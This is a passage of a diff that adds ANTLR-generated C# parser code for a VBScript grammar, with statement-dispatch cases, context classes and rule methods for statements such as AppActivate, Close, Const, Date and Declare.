+ } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 791; + chDriveStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 792; + closeStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 793; + constStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 794; + dateStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 795; + deleteSettingStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 796; + deftypeStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 797; + doLoopStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 798; + endStmt(); + } + break; + case 13: + EnterOuterAlt(_localctx, 13); + { + State = 799; + eraseStmt(); + } + break; + case 14: + EnterOuterAlt(_localctx, 14); + { + State = 800; + errorStmt(); + } + break; + case 15: + EnterOuterAlt(_localctx, 15); + { + State = 801; + exitStmt(); + } + break; + case 16: + EnterOuterAlt(_localctx, 16); + { + State = 802; + explicitCallStmt(); + } + break; + case 17: + EnterOuterAlt(_localctx, 17); + { + State = 803; + filecopyStmt(); + } + break; + case 18: + EnterOuterAlt(_localctx, 18); + { + State = 804; + forEachStmt(); + } + break; + case 19: + EnterOuterAlt(_localctx, 19); + { + State = 805; + forNextStmt(); + } + break; + case 20: + EnterOuterAlt(_localctx, 20); + { + State = 806; + getStmt(); + } + break; + case 21: + EnterOuterAlt(_localctx, 21); + { + State = 807; + goSubStmt(); + } + break; + case 22: + EnterOuterAlt(_localctx, 22); + { + State = 808; + goToStmt(); + } + break; + case 23: + EnterOuterAlt(_localctx, 23); + { + State = 809; + inlineIfThenElseStmt(); + } + break; + case 24: + EnterOuterAlt(_localctx, 24); + { + State = 810; + ifThenElseStmt(); + } + break; + case 25: + EnterOuterAlt(_localctx, 25); + { + State = 811; + implementsStmt(); + } + break; + case 26: + EnterOuterAlt(_localctx, 26); + { + State = 812; + inputStmt(); + } + break; + case 27: + EnterOuterAlt(_localctx, 27); + { + State = 813; + killStmt(); + } + break; + case 28: + EnterOuterAlt(_localctx, 28); + { + State = 814; + midStmt(); + } + break; + case 29: + EnterOuterAlt(_localctx, 29); + { + State = 815; + letStmt(); + } + break; + case 30: + EnterOuterAlt(_localctx, 30); + { + State = 816; + lineInputStmt(); + } + break; + case 31: + EnterOuterAlt(_localctx, 31); + { + State = 817; + loadStmt(); + } + break; + case 32: + EnterOuterAlt(_localctx, 32); + { + State = 818; + lockStmt(); + } + break; + case 33: + EnterOuterAlt(_localctx, 33); + { + State = 819; + lsetStmt(); + } + break; + case 34: + EnterOuterAlt(_localctx, 34); + { + State = 820; + macroIfThenElseStmt(); + } + break; + case 35: + EnterOuterAlt(_localctx, 35); + { + State = 821; + mkdirStmt(); + } + break; + case 36: + EnterOuterAlt(_localctx, 36); + { + State = 822; + nameStmt(); + } + break; + case 37: + EnterOuterAlt(_localctx, 37); + { + State = 823; + onErrorStmt(); + } + break; + case 38: + EnterOuterAlt(_localctx, 38); + { + State = 824; + onGoToStmt(); + } + break; + case 39: + EnterOuterAlt(_localctx, 39); + { + State = 825; + onGoSubStmt(); + } + break; + case 40: + EnterOuterAlt(_localctx, 40); + { + State = 826; + openStmt(); + } + break; + case 41: + EnterOuterAlt(_localctx, 41); + { + State = 827; + printStmt(); + } + break; + case 42: + EnterOuterAlt(_localctx, 42); + { + State = 828; + putStmt(); + } + break; + case 43: + EnterOuterAlt(_localctx, 43); + { + State = 829; + raiseEventStmt(); + } + break; + case 44: + EnterOuterAlt(_localctx, 44); + { + State = 830; + randomizeStmt(); + } + break; + case 45: + EnterOuterAlt(_localctx, 45); + { + State = 831; + redimStmt(); + } + break; + case 46: + EnterOuterAlt(_localctx, 46); + { + State = 832; + resetStmt(); + } + break; + case 47: + EnterOuterAlt(_localctx, 47); + { + State = 833; + resumeStmt(); + } + break; + case 48: + EnterOuterAlt(_localctx, 48); + { + State = 834; + returnStmt(); + } + break; + case 49: + EnterOuterAlt(_localctx, 49); + { + State = 835; + rmdirStmt(); + } + break; + case 50: + EnterOuterAlt(_localctx, 50); + { + State = 836; + rsetStmt(); + } + break; + case 51: + EnterOuterAlt(_localctx, 51); + { + State = 837; + savepictureStmt(); + } + break; + case 52: + EnterOuterAlt(_localctx, 52); + { + State = 838; + saveSettingStmt(); + } + break; + case 53: + EnterOuterAlt(_localctx, 53); + { + State = 839; + seekStmt(); + } + break; + case 54: + EnterOuterAlt(_localctx, 54); + { + State = 840; + selectCaseStmt(); + } + break; + case 55: + EnterOuterAlt(_localctx, 55); + { + State = 841; + sendkeysStmt(); + } + break; + case 56: + EnterOuterAlt(_localctx, 56); + { + State = 842; + setattrStmt(); + } + break; + case 57: + EnterOuterAlt(_localctx, 57); + { + State = 843; + setStmt(); + } + break; + case 58: + EnterOuterAlt(_localctx, 58); + { + State = 844; + stopStmt(); + } + break; + case 59: + EnterOuterAlt(_localctx, 59); + { + State = 845; + timeStmt(); + } + break; + case 60: + EnterOuterAlt(_localctx, 60); + { + State = 846; + unloadStmt(); + } + break; + case 61: + EnterOuterAlt(_localctx, 61); + { + State = 847; + unlockStmt(); + } + break; + case 62: + EnterOuterAlt(_localctx, 62); + { + State = 848; + variableStmt(); + } + break; + case 63: + EnterOuterAlt(_localctx, 63); + { + State = 849; + whileWendStmt(); + } + break; + case 64: + EnterOuterAlt(_localctx, 64); + { + State = 850; + widthStmt(); + } + break; + case 65: + EnterOuterAlt(_localctx, 65); + { + State = 851; + withStmt(); + } + break; + case 66: + EnterOuterAlt(_localctx, 66); + { + State = 852; + writeStmt(); + } + break; + case 67: + EnterOuterAlt(_localctx, 67); + { + State = 853; + implicitCallStmt_InStmt(); + } + break; + case 68: + EnterOuterAlt(_localctx, 68); + { + State = 854; + implicitCallStmt_InBlock(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AppActivateStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPACTIVATE() { return GetToken(VBScriptParser.APPACTIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public AppActivateStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_appActivateStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAppActivateStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAppActivateStmt(this); + } + } + + [RuleVersion(0)] + public AppActivateStmtContext appActivateStmt() { + AppActivateStmtContext _localctx = new AppActivateStmtContext(Context, State); + EnterRule(_localctx, 58, RULE_appActivateStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 857; + Match(APPACTIVATE); + State = 858; + Match(WS); + State = 859; + valueStmt(0); + State = 868; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,82,Context) ) { + case 1: + { + State = 861; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 860; + Match(WS); + } + } + + State = 863; + Match(COMMA); + State = 865; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,81,Context) ) { + case 1: + { + State = 864; + Match(WS); + } + break; + } + State = 867; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BeepStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEEP() { return GetToken(VBScriptParser.BEEP, 0); } + public BeepStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_beepStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBeepStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBeepStmt(this); + } + } + + [RuleVersion(0)] + public BeepStmtContext beepStmt() { + BeepStmtContext _localctx = new BeepStmtContext(Context, State); + EnterRule(_localctx, 60, RULE_beepStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 870; + Match(BEEP); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ChDirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDIR() { return GetToken(VBScriptParser.CHDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ChDirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_chDirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterChDirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitChDirStmt(this); + } + } + + [RuleVersion(0)] + public ChDirStmtContext chDirStmt() { + ChDirStmtContext _localctx = new ChDirStmtContext(Context, State); + EnterRule(_localctx, 62, RULE_chDirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 872; + Match(CHDIR); + State = 873; + Match(WS); + State = 874; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ChDriveStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDRIVE() { return GetToken(VBScriptParser.CHDRIVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ChDriveStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_chDriveStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterChDriveStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitChDriveStmt(this); + } + } + + [RuleVersion(0)] + public ChDriveStmtContext chDriveStmt() { + ChDriveStmtContext _localctx = new ChDriveStmtContext(Context, State); + EnterRule(_localctx, 64, RULE_chDriveStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 876; + Match(CHDRIVE); + State = 877; + Match(WS); + State = 878; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class CloseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLOSE() { return GetToken(VBScriptParser.CLOSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public CloseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_closeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCloseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCloseStmt(this); + } + } + + [RuleVersion(0)] + public CloseStmtContext closeStmt() { + CloseStmtContext _localctx = new CloseStmtContext(Context, State); + EnterRule(_localctx, 66, RULE_closeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 880; + Match(CLOSE); + State = 896; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,86,Context) ) { + case 1: + { + State = 881; + Match(WS); + State = 882; + valueStmt(0); + State = 893; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,85,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 884; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 883; + Match(WS); + } + } + + State = 886; + Match(COMMA); + State = 888; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,84,Context) ) { + case 1: + { + State = 887; + Match(WS); + } + break; + } + State = 890; + valueStmt(0); + } + } + } + State = 895; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,85,Context); + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ConstStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CONST() { return GetToken(VBScriptParser.CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstSubStmtContext[] constSubStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ConstSubStmtContext constSubStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateGlobalVisibilityContext publicPrivateGlobalVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public ConstStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_constStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterConstStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitConstStmt(this); + } + } + + [RuleVersion(0)] + public ConstStmtContext constStmt() { + ConstStmtContext _localctx = new ConstStmtContext(Context, State); + EnterRule(_localctx, 68, RULE_constStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 901; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 74)) & ~0x3f) == 0 && ((1L << (_la - 74)) & 153122387330596865L) != 0)) { + { + State = 898; + publicPrivateGlobalVisibility(); + State = 899; + Match(WS); + } + } + + State = 903; + Match(CONST); + State = 904; + Match(WS); + State = 905; + constSubStmt(); + State = 916; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,90,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 907; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 906; + Match(WS); + } + } + + State = 909; + Match(COMMA); + State = 911; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 910; + Match(WS); + } + } + + State = 913; + constSubStmt(); + } + } + } + State = 918; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,90,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ConstSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public ConstSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_constSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterConstSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitConstSubStmt(this); + } + } + + [RuleVersion(0)] + public ConstSubStmtContext constSubStmt() { + ConstSubStmtContext _localctx = new ConstSubStmtContext(Context, State); + EnterRule(_localctx, 70, RULE_constSubStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 919; + ambiguousIdentifier(); + State = 921; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 920; + typeHint(); + } + } + + State = 925; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,92,Context) ) { + case 1: + { + State = 923; + Match(WS); + State = 924; + asTypeClause(); + } + break; + } + State = 928; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 927; + Match(WS); + } + } + + State = 930; + Match(EQ); + State = 932; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,94,Context) ) { + case 1: + { + State = 931; + Match(WS); + } + break; + } + State = 934; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DateStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public DateStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_dateStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDateStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDateStmt(this); + } + } + + [RuleVersion(0)] + public DateStmtContext dateStmt() { + DateStmtContext _localctx = new DateStmtContext(Context, State); + EnterRule(_localctx, 72, RULE_dateStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 936; + Match(DATE); + State = 938; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 937; + Match(WS); + } + } + + State = 940; + Match(EQ); + State = 942; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,96,Context) ) { + case 1: + { + State = 941; + Match(WS); + } + break; + } + State = 944; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeclareStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DECLARE() { return GetToken(VBScriptParser.DECLARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIB() { return GetToken(VBScriptParser.LIB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] STRINGLITERAL() { return GetTokens(VBScriptParser.STRINGLITERAL); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL(int i) { + return GetToken(VBScriptParser.STRINGLITERAL, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PTRSAFE() { return GetToken(VBScriptParser.PTRSAFE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext[] typeHint() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ALIAS() { return GetToken(VBScriptParser.ALIAS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + public DeclareStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_declareStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeclareStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeclareStmt(this); + } + } + + [RuleVersion(0)] + public DeclareStmtContext declareStmt() { + DeclareStmtContext _localctx = new DeclareStmtContext(Context, State); + EnterRule(_localctx, 74, RULE_declareStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 949; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 946; + visibility(); + State = 947; + Match(WS); + } + } + + State = 951; + Match(DECLARE); + State = 952; + Match(WS); + State = 955; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PTRSAFE) { + { + State = 953; + Match(PTRSAFE); + State = 954; + Match(WS); + } + } + + State = 962; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FUNCTION: + { + State = 957; + Match(FUNCTION); + State = 959; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 958; + typeHint(); + } + } + + } + break; + case SUB: + { + State = 961; + Match(SUB); + } + break; + default: + throw new NoViableAltException(this); + } + State = 964; + Match(WS); + State = 965; + ambiguousIdentifier(); + State = 967; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 966; + typeHint(); + } + } + + State = 969; + Match(WS); + State = 970; + Match(LIB); + State = 971; + Match(WS); + State = 972; + Match(STRINGLITERAL); + State = 977; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,102,Context) ) { + case 1: + { + State = 973; + Match(WS); + State = 974; + Match(ALIAS); + State = 975; + Match(WS); + State = 976; + Match(STRINGLITERAL); + } + break; + } + State = 983; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,104,Context) ) { + case 1: + { + State = 980; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 979; + Match(WS); + } + } + + State = 982; + argList(); + } + break; + } + State = 987; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,105,Context) ) { + case 1: + { + State = 985; + Match(WS); + State = 986; + asTypeClause(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeftypeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public LetterrangeContext[] letterrange() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LetterrangeContext letterrange(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBOOL() { return GetToken(VBScriptParser.DEFBOOL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBYTE() { return GetToken(VBScriptParser.DEFBYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFINT() { return GetToken(VBScriptParser.DEFINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFLNG() { return GetToken(VBScriptParser.DEFLNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFCUR() { return GetToken(VBScriptParser.DEFCUR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSNG() { return GetToken(VBScriptParser.DEFSNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDBL() { return GetToken(VBScriptParser.DEFDBL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDEC() { return GetToken(VBScriptParser.DEFDEC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDATE() { return GetToken(VBScriptParser.DEFDATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSTR() { return GetToken(VBScriptParser.DEFSTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFOBJ() { return GetToken(VBScriptParser.DEFOBJ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFVAR() { return GetToken(VBScriptParser.DEFVAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + 